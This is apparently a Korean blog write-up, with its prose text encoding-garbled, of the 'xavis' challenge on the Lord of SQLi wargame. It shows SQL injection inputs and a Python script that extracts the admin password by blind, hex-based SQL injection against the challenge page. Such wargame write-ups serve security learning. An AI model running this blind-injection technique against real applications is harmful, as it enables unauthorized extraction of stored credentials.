ํฐ์คํ ๋ฆฌ ๋ทฐ
์์ฒญ ๊น๋ค๋ก์ ๋ "xavis" ๋ฌธ์ ์
๋๋ค.
์ฒ์ ๋ดค์ ๋๋ ๋ ๋ฒจ ๋์ด๋ ์น๊ณ ๋ ๋๋ฌด ์ฌ์ด ๋ฌธ์ ์ธ ๊ฑฐ ๊ฐ์์ ์ฌ์ด๊ฐ๋ ํ์์ธ ์ค ์์์ผ๋ ์ ๋ต์ด ์ ํ ๋์ค์ง๊ฐ ์์์ต๋๋ค.
์ฟผ๋ฆฌ๋ฌธ์ "์ฐธ"์ผ๋ก ๋ง๋ค์ด์ ํจ์ค์๋ ๊ธธ์ด๋ฅผ ์ ์ถํ์ฌ 12์๋ฆฌ์ธ๊ฒ์ ์์๋ด๊ณ ํ ๋๋ฐ๋ก burp suite๋ฅผ ํตํด ๊ฐ์ ํ๋์ฉ ๋์ ํด์ ๊ฒฐ๊ณผ๋ฅผ ์ป์ด๋ด๋ ค๊ณ ascii ์ฝ๋๋ฅผ ๋๋ ค๋ดค์ง๋ง ๋์ถ๋ ๊ฐ์ ์ ํ ์๊ณ ๊ณผ๋ถํ๊ฐ ๊ฑธ๋ ค ๋์ค์ ๋ฉ์ถ๊ฒ ๋์์ต๋๋ค.
๋ฌธ์ ์ ๊ทผ ๋ฐฉ์๋ถํฐ ์ถ์ ์์ ์๋๋ฅผ ๋ชจ๋ฅด๊ฒ ์ด์ ํํธ๋ฅด ๋ณด๋ฉด์ ์์ํ์ต๋๋ค.
ํํธ
1. ํจ์ค์๋๊ฐ ์ซ์, ์ํ๋ฒณ, ํน์๋ฌธ์ ๊ฐ ์๋
2. ascii ์ฝ๋๋ก ์ถ๋ ฅ์ํค์ง๋ง๊ณ "hex" ํํ๋ก ์ถ๋ ฅ์ํฌ๊ฒ
3. ์ถ๋ ฅ๋ "hex" ๊ฐ์ ์๋ฌธ ํํ๋ก decode ํ ๊ฒ
Input Code
' or length(hex(pw))='24
' or length(substr(pw,1,1)))='4
pw์ ๊ฐ์ ํฅ์ฌ๋ก ๋๋ ค์ ๊ธธ์ด๋ฅผ ํ์ธํด๋ณธ๊ฒฐ๊ณผ "24" ์๋ฆฌ๊ฐ ๋์์ผ๋ฉฐ, ์ฒซ๊ธ์์ ํจ์ค์๋ ๊ธธ์ด๊ฐ ๋ฌด๋ ค "4" ์๋ฆฌ์ ๋๋ค.
์ ๋ต์ 3๊ธ์์ธ๋ฐ ํ์๋ฆฌ ํจ์ค์๋๋น 4๊ฐ์ ๋ฌธ์์ด์ด ๋์ด์์ต๋๋ค. ์ด๊ฒ์ "hex"๊ฐ 8๋นํธ ๋ฅผ ์ฌ์ฉํ๊ณ ์๊ธฐ ๋๋ฌธ์ด๋ผ๊ณ ๋ณด์๋ฉด ๋ฉ๋๋ค.
์ด๋ฒ์๋ ํ์ธํด์ผ ๋ ๊ฐ์ ํญ์ด ํฌ๊ธฐ ๋๋ฌธ์ burp suite ๊ฐ ์๋ python์ ์ฌ์ฉํด์ ์ถ๋ ฅํด์ผ ๋ฉ๋๋ค.
# -*- coding: utf-8 -*-
import requests
from prettytable import PrettyTable
x = PrettyTable()
x.field_names = ["password"]
cookies = {"PHPSESSID": "ah35rn49pvpac6k519qikbnpcn"}
ascii = "0123456789abcdefghijklmnopqrstuvwxyz"
pw = ""
for j in range(1, 25):
for i in ascii:
url = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?" \
"pw=' or id='admin' and substr(hex(pw),{0},1)='{1}'%23".format(j, i)
response = requests.get(url, cookies=cookies)
res = str(response.content)
if res.find("Hello admin") != -1:
pw=pw+i
#print(pw)
print(x)
x.add_row([pw])
break
์์์ ์ฝ๋๋ฅผ ํตํด ๋์ถ๋ 16์ง์ ํํ์ธ admin์ hex(ํจ์ค์๋)์ ๋๋ค. ํจ์ค์๋์ ํ ์๋ฆฌ๋น 4 ์๋ฆฟ์๊ฐ ์ฌ์ฉ๋ ๊ฒ์ ๊ฐ์ํ์ฌ ์ชผ๊ฐ ๋ณด๋ฉด 0000c6b00000c6550000ad73 --> c6b0 c655 ad73 ์ด๋ฐ ํํ๋ก ๋ฉ๋๋ค.
์ด์ hex ์ฝ๋๋ฅผ ํ๊ธ ํํ๋ก ์๋ณต ํ๊ธฐ๋ง ํ๋ฉด ๋๊ฒ ๋ค์
'CHALLENGE' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[LOS] Dragon ํ์ด(20) (0) | 2020.12.11 |
---|---|
XSS Challenges 8 (0) | 2020.12.11 |
[LOS] Nightmare ํ์ด(18) (0) | 2020.12.10 |
XSS Challenges 7 (0) | 2020.12.10 |
[LOS] Zombie assassin ํ์ด(17) (0) | 2020.12.09 |